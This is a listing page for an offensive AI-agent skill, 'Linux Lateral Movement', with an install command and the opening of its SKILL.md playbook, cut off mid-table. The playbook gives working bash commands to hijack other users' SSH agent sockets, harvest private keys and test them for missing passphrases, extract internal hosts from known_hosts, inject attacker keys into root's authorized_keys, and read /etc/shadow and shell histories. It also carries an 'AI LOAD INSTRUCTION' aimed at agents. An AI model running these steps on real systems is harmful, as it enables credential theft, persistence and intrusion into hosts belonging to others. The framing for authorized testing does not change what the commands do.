Linux Lateral Movement
Follow a structured Linux pivot playbook after initial foothold during authorized penetration tests or red-team engagements.
Overview
Linux Lateral Movement is an agent skill for the Ship phase that documents expert Linux pivot techniques—SSH hijacking, credential harvesting, D-Bus abuse, and sudo token reuse—for authorized post-exploitation testing.
Install
npx skills add https://github.com/yaklang/hack-skills --skill linux-lateral-movementWhat is this skill?
- SSH agent socket discovery and SSH_AUTH_SOCK hijacking paths base models often skip
- Credential and key harvest locations plus sudo token reuse and ptrace-style session hijack notes
- D-Bus exploitation, systemd manipulation, and internal network pivoting checklists
- Explicit routing to related skills: privilege escalation, security bypass, container escape, Kubernetes pentesting, unau
- Bash-oriented expert playbook format with RELATED ROUTING section before deep techniques
- Related routing to 5 sibling hack-skills before deep dive
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You have initial access on a Linux box but lack a repeatable checklist to move to other hosts without missing SSH agent hijacks, credential stores, or internal pivot paths.
Who is it for?
Authorized pentesters and security engineers documenting or automating Linux pivot steps after a confirmed foothold.
Skip if: Solo builders shipping product features, learners without legal authorization, or teams that only need defensive hardening guides without offensive steps.
When should I use this skill?
After gaining initial access when you need to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, or shared filesystem abuse.
What do I get? / Deliverables
You get a routed, step-oriented lateral movement playbook aligned with related privilege-escalation and cluster skills so your agent does not stop at the first shell.
- Step-by-step lateral movement actions and command patterns
- Routing decisions to companion privilege-escalation or service-exploitation skills
Recommended Skills
Journey fit
Lateral movement is exercised in the security-testing lane of Ship, once you already have access and need to prove blast radius before release or audit sign-off. Security subphase is where offensive technique playbooks belong in Prism—paired with review and hardening, not product feature work.
How it compares
Use as a focused lateral-movement playbook instead of asking the agent for generic “hack Linux” advice that omits SSH agent and sudo-token edge cases.
Common Questions / FAQ
Who is linux-lateral-movement for?
It is for authorized offensive security practitioners and red-teamers who need structured Linux pivot guidance after initial access, often alongside other Yaklang hack-skills in the same repo.
When should I use linux-lateral-movement?
Use it during Ship security testing when you must pivot across Linux hosts via SSH hijacking, harvested credentials, D-Bus, sudo reuse, or shared filesystems—only under explicit engagement scope.
Is linux-lateral-movement safe to install?
Treat it as high-risk offensive content: review the Security Audits panel on this Prism page and restrict which agents and environments can load it; never run techniques against systems you do not own or lack permission to test.
SKILL.md
READMESKILL.md - Linux Lateral Movement
# SKILL: Linux Lateral Movement — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack. ## 0. RELATED ROUTING Before going deep, consider loading: - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) if you need root on the current host before pivoting - [linux-security-bypass](../linux-security-bypass/SKILL.md) when restricted shells or security modules block lateral movement tools - [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target network includes containerized hosts - [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when pivoting into a Kubernetes cluster - [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting discovered internal services (Redis, MongoDB, etc.) --- ## 1. SSH AGENT HIJACKING ### 1.1 Find SSH Agent Sockets ```bash # As root (or user with access to other users' processes): find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null # Or via /proc: grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n' # Typical path: /tmp/ssh-XXXXXX/agent.PID ``` ### 1.2 Hijack Agent Forwarding ```bash # Set the found socket as our auth agent export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345 # List available keys in the agent ssh-add -l # If keys appear → we can use them # SSH to any host this agent can authenticate to ssh -o StrictHostKeyChecking=no user@internal-host # The agent owner won't notice — we're using their forwarded agent ``` ### 1.3 Persistent Agent Monitoring ```bash # Monitor for new SSH agent sockets (wait for admin to SSH in) inotifywait -m /tmp -e create 2>/dev/null | grep ssh- # Or poll: while true; do find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null touch /tmp/.marker sleep 5 done ``` --- ## 2. SSH KEY HARVESTING ### 2.1 Private Key Locations ```bash find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null # Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_* # Find keys without passphrase: for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key" done ``` ### 2.2 known_hosts Parsing ```bash # Hashed known_hosts (common default): cat ~/.ssh/known_hosts # May be hashed — use ssh-keygen to check against known IPs: ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts # Unhashed known_hosts → direct IP/hostname list awk '{print $1}' ~/.ssh/known_hosts | sort -u # Extract all hostnames/IPs from all users' known_hosts cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \ | awk '{print $1}' | tr ',' '\n' | sort -u ``` ### 2.3 authorized_keys Injection ```bash # Generate attacker keypair (on attacker box) ssh-keygen -t ed25519 -f /tmp/pivot_key -N "" # Inject public key (on compromised host) echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys # SSH back in with our key ssh -i /tmp/pivot_key root@target ``` --- ## 3. CREDENTIAL HARVESTING LOCATIONS ### 3.1 System Credentials | Location | Contents | Command | |---|---|---| | `/etc/shadow` | Password hashes | `cat /etc/shadow` (root) | | `/etc/passwd` | User list, may contain hashes | `cat /etc/passwd` | | `.bash_history` | Command history (passwords in cleartext) | `cat /home/*/.bash_history` | | `.mysql_history` | MyS